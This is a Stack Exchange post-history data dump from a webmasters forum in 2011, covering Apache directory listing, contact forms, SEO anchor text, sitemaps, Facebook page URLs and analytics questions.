  <row Id="37586" PostHistoryTypeId="3" PostId="15838" RevisionGUID="463afaf7-107a-4a92-ac0d-dd8b05395550" CreationDate="2011-06-24T10:47:06.797" UserId="8529" Text="&lt;web-hosting&gt;&lt;web-development&gt;&lt;apache&gt;&lt;linux&gt;" />
  <row Id="37587" PostHistoryTypeId="2" PostId="15839" RevisionGUID="aeea195a-5756-4b35-a9d7-2179943e87f5" CreationDate="2011-06-24T10:59:49.737" UserId="8354" Text="Try adding this into your Apache configuration (for example, `.htaccess` file):&#xD;&#xA;&#xD;&#xA;    Options -Indexes&#xD;&#xA;&#xD;&#xA;http://httpd.apache.org/docs/current/mod/core.html#options&#xD;&#xA;&#xD;&#xA;Another alternative (which is also may be considered as a bit safer approach) is to put default index file into such folders (the following directive tells Apache to display `index.html` from that folder if directory was requested):&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html&#xD;&#xA;&#xD;&#xA;http://httpd.apache.org/docs/current/mod/mod_dir.html#directoryindex" />
  <row Id="37588" PostHistoryTypeId="2" PostId="15840" RevisionGUID="face9362-4515-486b-9880-cd85edf4613b" CreationDate="2011-06-24T11:13:13.627" UserId="8354" Text="Top reasons that I'm aware of:&#xD;&#xA;&#xD;&#xA;1) To &quot;force&quot; customer to provide specific details which otherwise most likely be omitted by customer (like, order/invoice number, contact telephone number).&#xD;&#xA;&#xD;&#xA;2) To perform some basic validations on such data ensuring that the **existing** customer provides correct information (checking if such order does exist, validating input).&#xD;&#xA;&#xD;&#xA;3) Convenience to the customers -- they can type message straight away without the need to use their email program/web-based email. Very useful when customer is accessing the site from some random location (someone's PC, public place) and does not want others to see his emails (in case if he uses web-based emails) ... or simply does not have his PC with him.&#xD;&#xA;&#xD;&#xA;4) SPAM? Yes, but not that much -- there are quite a few good ways to stop more than average spam bots from picking up email addresses (usually requires JavaScript).&#xD;&#xA;&#xD;&#xA;5) If a company is a big &quot;dogey&quot; (like, selling &quot;grey import&quot; software -- software that is meant to be sold in USA but they sell in in UK) they may simply do not want customers to contact them directly (their email could be just `some-company@gmail.com` .. which does not give much confidence to a customer these days if buying from online shops)." />
  <row Id="37589" PostHistoryTypeId="5" PostId="15840" RevisionGUID="1b8d5546-c685-4a20-960a-880b50b65439" CreationDate="2011-06-24T11:19:12.997" UserId="8354" Comment="typo..." Text="Top reasons that I'm aware of:&#xD;&#xA;&#xD;&#xA;1) To &quot;force&quot; customer to provide specific details which otherwise most likely be omitted by customer (like, order/invoice number, contact telephone number).&#xD;&#xA;&#xD;&#xA;2) To perform some basic validations on such data ensuring that the **existing** customer provides correct information (checking if such order does exist, validating input).&#xD;&#xA;&#xD;&#xA;3) Convenience to the customers -- they can type message straight away without the need to use their email program/web-based email. Very useful when customer is accessing the site from some random location (someone's PC, public place) and does not want others to see his emails (in case if he uses web-based emails) ... or simply does not have his PC with him.&#xD;&#xA;&#xD;&#xA;4) SPAM? Yes, but not that much -- there are quite a few good ways to stop more than average spam bots from picking up email addresses (usually requires JavaScript).&#xD;&#xA;&#xD;&#xA;5) If a company is a bit &quot;dogey&quot; (like, selling &quot;grey import&quot; software -- software that is meant to be sold in USA but they sell in in UK) they may simply do not want customers to contact them directly (their email could be just `some-company@gmail.com` .. which does not give much confidence to a customer these days if buying from online shops)." />
  <row Id="37591" PostHistoryTypeId="2" PostId="15842" RevisionGUID="dfbfe6c5-2892-49ce-a7cb-eafe1cb4766b" CreationDate="2011-06-24T11:28:21.430" UserId="8530" Text="Expression Engine is very easy for theming point of view, just add template from cms admin panel and create page then paste your html in page editing area then add css.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37595" PostHistoryTypeId="5" PostId="15838" RevisionGUID="716dfc88-479e-42b2-895f-9228218bcc84" CreationDate="2011-06-24T11:55:51.670" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to restrict the download of all files in a folder?](http://webmasters.stackexchange.com/questions/13485/how-to-restrict-the-download-of-all-files-in-a-folder)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I haven't uploaded index.html or index.php to my root directory.  How can I prevent people from looking at a listing of files in parent directory?&#xD;&#xA;&#xD;&#xA;&lt;http://oi56.tinypic.com/sc739e.jpg&gt;&#xD;&#xA;&#xD;&#xA;Also, is it possible for people to obtain a list of all the files in the root directory once I upload index.html?&#xD;&#xA;&#xD;&#xA;I'm currently using .htaccess and htusers to prompt someone to enter a username and password when they try to access any file in the root directory.&#xD;&#xA;&#xD;&#xA;This may sound like a weird request but would it be possible to have them come to the site (without an index.html) and just have them not see the files?  All it would say on the page would be the following:&#xD;&#xA;&#xD;&#xA;**Index of/**&#xD;&#xA;&#xD;&#xA;*Apache Server at mysite.com Port 80*" />
  <row Id="37596" PostHistoryTypeId="10" PostId="15838" RevisionGUID="bd4cfa91-1dde-4409-a907-4525a30d230d" CreationDate="2011-06-24T11:55:51.343" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37597" PostHistoryTypeId="25" PostId="15824" RevisionGUID="0d8dd917-e560-4342-bf5e-66ca79f024aa" CreationDate="2011-06-24T12:25:01.043" Comment="http://twitter.com/#!/StackWebmasters/status/84235575904841728" />
  <row Id="37598" PostHistoryTypeId="2" PostId="15843" RevisionGUID="1179fa62-1c82-42b6-b400-8fdc7c0532b5" CreationDate="2011-06-24T12:41:12.813" UserId="8302" Text="There are several reasons, most mentioned by @LazyOne (+1).  But one of the most important is for the collection of data.  An e-mail from a client cannot easily be parsed and and the information collected in a database.  On the otherhand, data from form fields is easily entered into a company's DB.  So, with a form, a company can simply and easily collect information such as name, address, phone #, email address, order #, messages, etc. AND the info will be easy to retrieve, collate, and compile stats on." />
  <row Id="37599" PostHistoryTypeId="2" PostId="15844" RevisionGUID="39e6bc83-c4cd-4b5b-b8ee-f7e7f365f43e" CreationDate="2011-06-24T12:56:10.157" UserId="8302" Text="You can get a lot from Google's own videos:&#xD;&#xA;http://www.youtube.com/googleanalytics?hl=en &#xD;&#xA;&#xD;&#xA;There is a blog, with an index of resources:&#xD;&#xA;http://analytics.blogspot.com/&#xD;&#xA;&#xD;&#xA;They also have an education area: &#xD;&#xA;http://www.google.com/analytics/education.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37600" PostHistoryTypeId="2" PostId="15845" RevisionGUID="f48e913b-d4e1-4844-963c-1c6e5948de98" CreationDate="2011-06-24T12:58:17.143" UserId="108" Text="@LazyOne gives all good reasons.  There are 3 additional ones that make sense.&#xD;&#xA;&#xD;&#xA; 1. If a drop down exists in the contact form that gives a reason for the user contacting the company then the company can route the contact information to the correct group or person.&#xD;&#xA; 2. The data can be entered into the companies CRM solution automatically.  For instance, a company I worked for required you to enter country and if in the US your zip code as well as your email address and phone number.  When the person completed the form it would send the email to the inside sales reps to review AND add the user into SalesForce so that we can send them emails, and give them a sales rep in their region right away.&#xD;&#xA; 3. Some companies don't send emails they have a ticket queue created by the contact form.  That way an entire team can efficiently manage communicating with customers." />
  <row Id="37601" PostHistoryTypeId="2" PostId="15846" RevisionGUID="af310b3a-4acd-4888-8040-8c41bdaea3dc" CreationDate="2011-06-24T13:05:18.950" UserId="5806" Text="Suppose:&#xD;&#xA;&#xD;&#xA;- A site that ranks very well (1st result) for something like 'best blue widget'.&#xD;&#xA;- It also ranks very well (1st page) for 'blue widget'.&#xD;&#xA;- It ranks not so well (2nd page) for 'widget'.&#xD;&#xA;&#xD;&#xA;Obviously, the number of monthly searches much higher for 'widget' than for 'blue widget', which is still higher than for 'best blue widget'. Now the actual question:&#xD;&#xA;&#xD;&#xA;**When creating new external links, how does each of the following anchor text affect SEO for of these searches?**&#xD;&#xA;&#xD;&#xA;- widget&#xD;&#xA;- blue widget&#xD;&#xA;- best blue widget&#xD;&#xA;&#xD;&#xA;[HINT: The answer should be a 3x3 table]&#xD;&#xA;&#xD;&#xA;[NOTE: Assume the site is relevant for all these keyword combination]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37602" PostHistoryTypeId="1" PostId="15846" RevisionGUID="af310b3a-4acd-4888-8040-8c41bdaea3dc" CreationDate="2011-06-24T13:05:18.950" UserId="5806" Text="How Do Search Engines Rank Combined Keywords?" />
  <row Id="37603" PostHistoryTypeId="3" PostId="15846" RevisionGUID="af310b3a-4acd-4888-8040-8c41bdaea3dc" CreationDate="2011-06-24T13:05:18.950" UserId="5806" Text="&lt;seo&gt;&lt;keywords&gt;&lt;google-ranking&gt;" />
  <row Id="37604" PostHistoryTypeId="5" PostId="15832" RevisionGUID="4e8e242f-a93b-458c-8273-7b8eccf3db62" CreationDate="2011-06-24T13:09:55.187" UserId="108" Comment="edited body" Text="I have this site that I manage, I've optimized the site and get good SEO results in South Africa, I however need to get better results from the rest of Africa, and I need to know are there any Guidelines I could follow, eg registering a .com domain, the current domain is a .co.za domain. Any advise will help!" />
  <row Id="37605" PostHistoryTypeId="5" PostId="15846" RevisionGUID="b5e24b3e-fce0-4dfa-bcee-977957b8f862" CreationDate="2011-06-24T13:14:48.163" UserId="108" Comment="added 5 characters in body" Text="Suppose:&#xD;&#xA;&#xD;&#xA;- A site that ranks very well (1st result) for something like 'best blue widget'.&#xD;&#xA;- It also ranks very well (1st page) for 'blue widget'.&#xD;&#xA;- It ranks not so well (2nd page) for 'widget'.&#xD;&#xA;&#xD;&#xA;Obviously, the number of monthly searches are much higher for 'widget' than for 'blue widget', which is still higher than for 'best blue widget'. Now the actual question:&#xD;&#xA;&#xD;&#xA;**When creating new external links, how does each of the following anchor texts affect SEO for of these searches?**&#xD;&#xA;&#xD;&#xA;- widget&#xD;&#xA;- blue widget&#xD;&#xA;- best blue widget&#xD;&#xA;&#xD;&#xA;[HINT: The answer should be a 3x3 table]&#xD;&#xA;&#xD;&#xA;[NOTE: Assume the site is relevant for all these keyword combination]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37606" PostHistoryTypeId="2" PostId="15847" RevisionGUID="600d497e-e2c8-414e-9bcf-61bb335bde7d" CreationDate="2011-06-24T13:16:16.500" UserId="1253" Text="Hint: The answer won't be in a 3x3 table because it's not that cut and dry :)&#xD;&#xA;&#xD;&#xA;The more words in an external link the less targeted that link is for for each word individually. So having a link that just says &quot;widget&quot; will help you rank better &quot;widget&quot; then an external link that contains the phrase &quot;best blue widget&quot;. But both will help you as they both contain the keyword &quot;widget&quot;.&#xD;&#xA;&#xD;&#xA;You also have to remember that the keywords in the link are just part if that link's value. A link from a widget manufacturing website with the anchor text of &quot;best blue widget&quot; will do more to help you rank well for &quot;widget&quot; then a link from a Britney Spears website that links to you with only the word &quot;widget&quot; in it. This is because links from related sites are much more valuable then links from unrelated sites. Additionally, links from higher ranked pages for &quot;widgets&quot; will carry more weight then links from poorly ranked sites for the same term. So two links with the same anchor text can *carry dramatically different weight.*&#xD;&#xA;&#xD;&#xA;If your goal is to ultimately rank well for &quot;widget&quot; I would start by targeting longer tail keywords like &quot;best blue widget&quot; first. Since it's easier to rank well for those terms you can achieve a level of success sooner. This will raise your visibility to other widget related websites from which you can attempt to get more generic links from that contains words like &quot;blue widget&quot; and just &quot;widget&quot;. If you aim for &quot;widget&quot; right from the get go it could be a long term before you see the fruits of efforts." />
  <row Id="37607" PostHistoryTypeId="2" PostId="15848" RevisionGUID="6ebdc16f-860a-41cd-975d-4d49dc1541eb" CreationDate="2011-06-24T13:18:27.170" UserId="8531" Text="I'm in SA myself and I've faced this same problem before. In my experience with dealing with it I've learned that having a .com domain does actually help (it's difficult to judge to what extent, but it definitely makes a clear difference).&#xD;&#xA;&#xD;&#xA;Also, in Google Webmaster Tools (I presume your site is registered on there) you can set your website to target either users in SA or global users. There doesn't seem to be an Africa only option, so it's either just us or everyone. This step is basically essential if you want people outside of the country to find you on Google and I've found it to be veru useful.&#xD;&#xA;&#xD;&#xA;Aside form that you can use AdWords and if memory serves, you can set more specific location targeting in there." />
  <row Id="37608" PostHistoryTypeId="2" PostId="15849" RevisionGUID="55bb0e58-64db-423b-bc9b-5a788e9ffa9b" CreationDate="2011-06-24T13:27:34.773" UserId="108" Text="A couple of things you need to take into account.&#xD;&#xA;&#xD;&#xA; 1. Google has reduced the value of anchor text for SEO so it isn't as important as it once was exactly because people are trying to game it.&#xD;&#xA; 2. Number of searches and click throughs per keyword doesn't necessarily mean anything.  For example if visitors searching for &quot;widget&quot; have an 80% bounce rate on your site, visitors searching for &quot;blue widget&quot; have a 40% bounce rate, and visitors searching for &quot;best blue widget&quot; have a 10% bounce rate then you will need to get almost 5 times more visitors increasing your SERPs click through for &quot;widget&quot; than you will for increasing your SERPs click through for &quot;best blue widget&quot;.  That becomes especially true for Adwords keyword phrases because you are paying for those clicks. I would argue though that you are paying for your natural SERPs clicks indirectly with effort and time expended.  In which case going after &quot;widgets&quot; most likely has the lowest value.&#xD;&#xA;&#xD;&#xA;That being said, @JohnConde is right.  There are a lot of things to take into account, like the site the link is on, etc.&#xD;&#xA;&#xD;&#xA;If everything is the &quot;same&quot; for the value of the site the back link is coming from then the answer straightforward.  Anchor text of &quot;blue widget&quot; will help &quot;blue widget&quot; searches and &quot;widget&quot; searches but not as much as it helped &quot;blue widget&quot;.  For the phrase &quot;Best blue widget&quot; it will help the exact match the most, &quot;blue widget&quot; the second most and &quot;widget&quot; the least. How much of a difference it makes for each of these is only known by Google but I would but the value of non exact matches drops of pretty significantly. " />
  <row Id="37609" PostHistoryTypeId="2" PostId="15850" RevisionGUID="2c07b740-bcfb-4854-8d03-7c3c6ee500bb" CreationDate="2011-06-24T13:33:14.147" UserId="8533" Text="My site's URL (web address) is:  http://goo.gl/tkt0F&#xD;&#xA;Description (including timeline of any changes made):&#xD;&#xA;&#xD;&#xA;Will this sitemap get me deindexed from Google? &#xD;&#xA;&#xD;&#xA;Hi there, my new site map just got spirdered by Google for some reason. It is located at http://goo.gl/tkt0F, is this in danger of getting me de-indexed from Google's index. Does it look like spam even though is not mean to be?&#xD;&#xA;&#xD;&#xA;I am trying trying to figure the limitation in terms of Google's threshold before they deem it a spammy sitemap. This is sitemap contains automated postings which are different with the stock symbol provided. The amount of postings within the Sitemap are quite a few in a small amount of time." />
  <row Id="37610" PostHistoryTypeId="1" PostId="15850" RevisionGUID="2c07b740-bcfb-4854-8d03-7c3c6ee500bb" CreationDate="2011-06-24T13:33:14.147" UserId="8533" Text="Will this sitemap get me de indexed from Google?" />
  <row Id="37611" PostHistoryTypeId="3" PostId="15850" RevisionGUID="2c07b740-bcfb-4854-8d03-7c3c6ee500bb" CreationDate="2011-06-24T13:33:14.147" UserId="8533" Text="&lt;google&gt;&lt;search-engines&gt;&lt;sitemap&gt;&lt;indexing&gt;" />
  <row Id="37612" PostHistoryTypeId="2" PostId="15851" RevisionGUID="5fe09e33-8950-4ac6-b108-93ce055e956e" CreationDate="2011-06-24T13:34:30.000" UserId="8532" Text="Check http://www.webhostingtalk.com forum, because you can find plenty of offer, review and (it is important) also exclusive discount.&#xD;&#xA;&#xD;&#xA;Personally, i visit this site because the review and experience." />
  <row Id="37613" PostHistoryTypeId="5" PostId="15850" RevisionGUID="ee3e7ae7-c55d-4be5-ac95-f8810b2f1b21" CreationDate="2011-06-24T13:36:54.347" UserId="108" Comment="added 29 characters in body" Text="My site's URL (web address) is:  http://quantlabs.net/private/sitemap.xml&#xD;&#xA;Description (including timeline of any changes made):&#xD;&#xA;&#xD;&#xA;Will this sitemap get me de-indexed from Google? &#xD;&#xA;&#xD;&#xA;My new site map just got spidered by Google for some reason. It is located at http://quantlabs.net/private/sitemap.xml, is this in danger of getting me de-indexed from Google's index. Does it look like spam even though it is not meant to be?&#xD;&#xA;&#xD;&#xA;I am trying to figure the limitation in terms of Google's threshold before they deem it a spammy sitemap. This is sitemap contains automated postings which are different with the stock symbol provided. The amount of postings within the Sitemap are quite a few in a small amount of time." />
  <row Id="37614" PostHistoryTypeId="5" PostId="15848" RevisionGUID="c6872c28-f81e-482a-bc77-d56ebf1ef62a" CreationDate="2011-06-24T13:37:28.150" UserId="8531" Comment="Corrected spelling" Text="I'm in SA myself and I've faced this same problem before. In my experience with dealing with it I've learned that having a .com domain does actually help (it's difficult to judge to what extent, but it definitely makes a clear difference).&#xD;&#xA;&#xD;&#xA;Also, in Google Webmaster Tools (I presume your site is registered on there) you can set your website to target either users in SA or global users. There doesn't seem to be an Africa only option, so it's either just us or everyone. This step is basically essential if you want people outside of the country to find you on Google and I've found it to be very useful.&#xD;&#xA;&#xD;&#xA;Aside form that you can use AdWords and if memory serves, you can set more specific location targeting in there." />
  <row Id="37615" PostHistoryTypeId="2" PostId="15852" RevisionGUID="9b2634c7-6c11-4928-9a64-86755e538ad3" CreationDate="2011-06-24T13:39:13.250" UserId="1253" Text="Why would this get you de-indexed? It's just an XML sitemap. To be &quot;de-listed&quot; by Google or any other search engine you would have to violate their terms of service. You're not only not doing that but you're doing something they are *encouraging* you to do: submit an XML sitemap so they can find your content. If you're unsure how an XML sitemap should look just go to the [official XML sitemap website][1] and read up on what is acceptable and what isn't.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sitemaps.org/" />
  <row Id="37616" PostHistoryTypeId="2" PostId="15853" RevisionGUID="921bff7c-1af3-4c38-b49c-91f39ee2ee74" CreationDate="2011-06-24T13:39:13.867" UserId="8534" Text="I'm pretty sure it is to simply ''hide their e-mail address from the public.''&#xD;&#xA;&#xD;&#xA;Administrators have too little time these days to devote resources blocking spam, but even when you know that no spam will come, the form is a deterrent to people who would just post questions like &quot;where are you really located&quot; and other simple stuff. Support staff to field these questions is not readily available, and they prefer to have you either call them on their already public phone lines, or to filter out questions by putting rails on what kind of topics you can select in a web form." />
  <row Id="37617" PostHistoryTypeId="2" PostId="15854" RevisionGUID="cd78a760-45f1-4b12-a680-99ab962b890a" CreationDate="2011-06-24T13:39:36.797" UserId="108" Text="I checked out your sitemap and I noticed all of your links go to pages that require a log in.  With that in mind Google won't mark your site as spam but they will never be able to index anything except your log in page which won't get you ranked for anything.  &#xD;&#xA;&#xD;&#xA;If it concerns you or you don't want your sitemap index then add a robot.txt file to your directory and set it to:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    disallow: /&#xD;&#xA;&#xD;&#xA;If you want to learn all about what Google expects and requires for a good site and to not be marked as spam, checkout, http://www.google.com/support/webmasters/bin/answer.py?answer=35769.  It is a page from Google with all of their Webmaster Guidelines.  It isn't a huge amount of reading and it is really worth reading." />
  <row Id="37618" PostHistoryTypeId="5" PostId="15852" RevisionGUID="5a73040e-1e92-43be-b13b-dc744fc2b287" CreationDate="2011-06-24T13:44:50.390" UserId="1253" Comment="added 4 characters in body" Text="Why would this get you de-indexed? It's just an XML sitemap. To be &quot;de-listed&quot; by Google or any other search engine you would have to violate their terms of service. You're not only not doing that but you're doing something they are *encouraging* you to do: submitting an XML sitemap so they can find your content. If you're unsure how an XML sitemap should look just go to the [official XML sitemap website][1] and read up on what is acceptable and what isn't.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sitemaps.org/" />
  <row Id="37619" PostHistoryTypeId="5" PostId="15840" RevisionGUID="d419439e-019d-434d-9b92-951167bf6d3e" CreationDate="2011-06-24T13:48:26.910" UserId="1894" Comment="Spelling correction" Text="Top reasons that I'm aware of:&#xD;&#xA;&#xD;&#xA;1) To &quot;force&quot; customer to provide specific details which otherwise most likely be omitted by customer (like, order/invoice number, contact telephone number).&#xD;&#xA;&#xD;&#xA;2) To perform some basic validations on such data ensuring that the **existing** customer provides correct information (checking if such order does exist, validating input).&#xD;&#xA;&#xD;&#xA;3) Convenience to the customers -- they can type message straight away without the need to use their email program/web-based email. Very useful when customer is accessing the site from some random location (someone's PC, public place) and does not want others to see his emails (in case if he uses web-based emails) ... or simply does not have his PC with him.&#xD;&#xA;&#xD;&#xA;4) SPAM? Yes, but not that much -- there are quite a few good ways to stop more than average spam bots from picking up email addresses (usually requires JavaScript).&#xD;&#xA;&#xD;&#xA;5) If a company is a bit &quot;dodgy&quot; (eg. selling &quot;grey import&quot; software -- software that is meant to be sold in USA but they sell in in UK) they may simply do not want customers to contact them directly (their email could be just `some-company@gmail.com` .. which does not give much confidence to a customer these days if buying from online shops)." />
  <row Id="37620" PostHistoryTypeId="24" PostId="15840" RevisionGUID="d419439e-019d-434d-9b92-951167bf6d3e" CreationDate="2011-06-24T13:48:26.910" Comment="Proposed by 1894 approved by 1253 edit id of 411" />
  <row Id="37621" PostHistoryTypeId="5" PostId="15824" RevisionGUID="83a6d143-3e6c-4923-988b-da3b6a818e8f" CreationDate="2011-06-24T14:06:00.713" UserId="3312" Comment="deleted 1 characters in body" Text="One of my sites is very new (about 3 months).  When first launched its pages had (unsurprisingly) a Google PR of 'Unranked' [From Google toolbar stats, via the firefox SearchStatus plugin].  After a few weeks these changed to PR0.  Just recently I noticed that they are showing PR 'Unranked' once more in Google Toolbar.&#xD;&#xA;&#xD;&#xA;As far as I know I'm following the Google guidelines.  Results for the site still seem to be showing for its keywords.&#xD;&#xA;&#xD;&#xA;**What could this mean?**" />
  <row Id="37622" PostHistoryTypeId="2" PostId="15855" RevisionGUID="a6792573-e811-45b3-b1f0-7e5dcb899632" CreationDate="2011-06-24T14:07:34.693" UserId="6149" Text="Looking for tool like google insights/trends  but not limited to 5 item per comparison + 50-100 request per account for 24 hours.&#xD;&#xA;&#xD;&#xA;My Task  (not possible to do with google trends/insights):&#xD;&#xA;take 350 keywords and sort them according search rating.&#xD;&#xA;(I am doing that with php and not manually)&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="37623" PostHistoryTypeId="1" PostId="15855" RevisionGUID="a6792573-e811-45b3-b1f0-7e5dcb899632" CreationDate="2011-06-24T14:07:34.693" UserId="6149" Text="Looking for tool like google insights/trends but not limited to 5 comparison" />
  <row Id="37624" PostHistoryTypeId="3" PostId="15855" RevisionGUID="a6792573-e811-45b3-b1f0-7e5dcb899632" CreationDate="2011-06-24T14:07:34.693" UserId="6149" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="37625" PostHistoryTypeId="5" PostId="15854" RevisionGUID="6d1fa33c-27b5-4b23-ad15-dc326be3c6e0" CreationDate="2011-06-24T14:07:48.123" UserId="108" Comment="added 2 characters in body" Text="I checked out your sitemap and I noticed all of your links go to pages that require a log in.  With that in mind Google won't mark your site as spam but they will never be able to index anything except your log in page which won't get you ranked for anything.  &#xD;&#xA;&#xD;&#xA;If it concerns you or you don't want your sitemap indexed then add a robot.txt file to your directory and set it to:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    disallow: /&#xD;&#xA;&#xD;&#xA;If you want to learn all about what Google expects and requires for a good site and to not be marked as spam, checkout, http://www.google.com/support/webmasters/bin/answer.py?answer=35769.  It is a page from Google with all of their Webmaster Guidelines.  It isn't a huge amount of reading and it is really worth reading." />
  <row Id="37626" PostHistoryTypeId="2" PostId="15856" RevisionGUID="209b0851-46ce-45ab-9ff1-8b08a34723ad" CreationDate="2011-06-24T14:37:47.693" UserId="2852" Text="Some answers that nobody has suggested:&#xD;&#xA;&#xD;&#xA;1. A contact form submitted over SSL is more secure than email.  Customers have a terrible habit of sending you sensitive data (credit card numbers etc) even if you didn't request it.&#xD;&#xA;&#xD;&#xA;2. A webpage can capture more information about a user than an email. GeoIP, information about their computer etc.  If the submitter is logged into your site, you can link the message accurately to an existing account." />
  <row Id="37627" PostHistoryTypeId="25" PostId="15834" RevisionGUID="adf47821-36e2-4064-80f6-b2f30d27811b" CreationDate="2011-06-24T15:25:02.667" Comment="http://twitter.com/#!/StackWebmasters/status/84280881233149952" />
  <row Id="37628" PostHistoryTypeId="2" PostId="15857" RevisionGUID="7a7d6727-f122-4353-8ce9-c07b535452d3" CreationDate="2011-06-24T15:33:47.217" UserId="8256" Text="All the other answers are very good. A few more, without repeating other answers:&#xD;&#xA;&#xD;&#xA;1. A contact form practically guarantees the recipient will not loose your message to standard email spam filtering techniques. Those incoming messages can be automatically trusted, whereas email to the same address from random senders will generally have to follow standard spam filtering rules.&#xD;&#xA;&#xD;&#xA;2. It simply looks more professional. Just like having a Google Map (or Bing Map, or Whatever Map) next to your address, having a contact form gives the appearance that the company on the other end is making a real effort to receive your information. The contact form is harder to implement (properly!) than slapping a `&lt;a href=&quot;mailto:&quot;/&gt;` tag in the markup.&#xD;&#xA;&#xD;&#xA;3. It is much easier for the webmaster to database the replies versus having software to collect the data from an email box.&#xD;&#xA;&#xD;&#xA;4. SPAM. This is a very real problem. CAPTCHAs are a helpful in reducing &quot;noise&quot; in the customer support process." />
  <row Id="37629" PostHistoryTypeId="2" PostId="15858" RevisionGUID="cfe1b93b-e17f-47a0-89e8-e27b387bcfed" CreationDate="2011-06-24T15:38:00.440" UserId="8537" Text="When looking through my Google Analytics reports, I see visits via mydomain.com but also '**blisque.mydomain.com**'. When I visit there, the site is served up, however I haven't configured this subdomain myself, nor do I know what it is.&#xD;&#xA;&#xD;&#xA;Any idea what this is??" />
  <row Id="37630" PostHistoryTypeId="1" PostId="15858" RevisionGUID="cfe1b93b-e17f-47a0-89e8-e27b387bcfed" CreationDate="2011-06-24T15:38:00.440" UserId="8537" Text="Why am I seeing 'blisque.mydomain.com' in my analytics?" />
  <row Id="37631" PostHistoryTypeId="3" PostId="15858" RevisionGUID="cfe1b93b-e17f-47a0-89e8-e27b387bcfed" CreationDate="2011-06-24T15:38:00.440" UserId="8537" Text="&lt;domains&gt;&lt;google-analytics&gt;&lt;subdomain&gt;" />
  <row Id="37632" PostHistoryTypeId="2" PostId="15859" RevisionGUID="5deacf26-50b4-4de6-a890-4869034c9114" CreationDate="2011-06-24T15:38:48.597" UserId="3312" Text="I've seen other facebook 'company/brand/product' pages with URLs of the format: facebook.com/mycompany&#xD;&#xA;&#xD;&#xA;How do you set this up? &#xD;&#xA;&#xD;&#xA;If I use pages/create, I get an address like: facebook.com/pages/mycompany/234266&#xD;&#xA;" />
  <row Id="37633" PostHistoryTypeId="1" PostId="15859" RevisionGUID="5deacf26-50b4-4de6-a890-4869034c9114" CreationDate="2011-06-24T15:38:48.597" UserId="3312" Text="How to get a facebook page with URL like facebook.com/mycompany" />
  <row Id="37634" PostHistoryTypeId="3" PostId="15859" RevisionGUID="5deacf26-50b4-4de6-a890-4869034c9114" CreationDate="2011-06-24T15:38:48.597" UserId="3312" Text="&lt;facebook&gt;" />
  <row Id="37635" PostHistoryTypeId="2" PostId="15860" RevisionGUID="a13e98e7-e5ce-42c9-ba1c-eb2049dec7ee" CreationDate="2011-06-24T15:42:12.060" UserId="1643" Text="Edit the page and then click on Basic Information on the left and then you can specify the URL under Username." />
  <row Id="37636" PostHistoryTypeId="2" PostId="15861" RevisionGUID="e48088ef-11d1-49bf-94ac-a47bcb91f475" CreationDate="2011-06-24T15:42:42.637" UserId="8256" Text="Once you receive 25 &quot;Likes&quot; on your page, you will see the option to create a permalink." />
  <row Id="37637" PostHistoryTypeId="2" PostId="15862" RevisionGUID="429c8407-0bdc-47b0-a8a1-f509177fc275" CreationDate="2011-06-24T15:48:16.483" UserId="7964" Text="I'm interested in utilizing urchin. &#xD;&#xA;&#xD;&#xA;What are some advantages of self hosted analytics software like urchin over Google analytics?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37638" PostHistoryTypeId="1" PostId="15862" RevisionGUID="429c8407-0bdc-47b0-a8a1-f509177fc275" CreationDate="2011-06-24T15:48:16.483" UserId="7964" Text="What are some advantages of using Analytics like Urchin?" />
  <row Id="37639" PostHistoryTypeId="3" PostId="15862" RevisionGUID="429c8407-0bdc-47b0-a8a1-f509177fc275" CreationDate="2011-06-24T15:48:16.483" UserId="7964" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="37640" PostHistoryTypeId="2" PostId="15863" RevisionGUID="005c5b8e-163c-4b3f-971c-b1284e176dc5" CreationDate="2011-06-24T15:50:19.527" UserId="7964" Text="My guess because of the limited information given here is that it's just a bot." />
  <row Id="37641" PostHistoryTypeId="2" PostId="15864" RevisionGUID="9b70316b-c590-4f34-a8eb-9ac6ce7adc74" CreationDate="2011-06-24T15:51:59.883" UserId="1643" Text="This page http://www.google.com/urchin/features.html has a comparison table. The features that it has that Analytics doesn't are:&#xD;&#xA;&#xD;&#xA; - Runs on your servers&#xD;&#xA; - Suitable for Intranets&#xD;&#xA; - Process historical logs&#xD;&#xA; - Robot &amp; spider reports&#xD;&#xA; - Status &amp; Error code reports (404s, etc.)&#xD;&#xA; - Individual Visitor History Drilldown&#xD;&#xA;&#xD;&#xA;It's not cheap though: US$9995&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37642" PostHistoryTypeId="2" PostId="15865" RevisionGUID="a1937578-b8f7-4b18-980a-1fe3b62ef2b3" CreationDate="2011-06-24T15:52:34.937" UserId="6033" Text="Check to see if your base website returns using any combination of subdomain. &#xD;&#xA;&#xD;&#xA;**Example: pigeon.mydomain.com**&#xD;&#xA;&#xD;&#xA;If your server returns your base website using any/all subdomains then someone has probably linked to you using blisque.mydomain.com and that's why you see it.&#xD;&#xA;&#xD;&#xA;" />
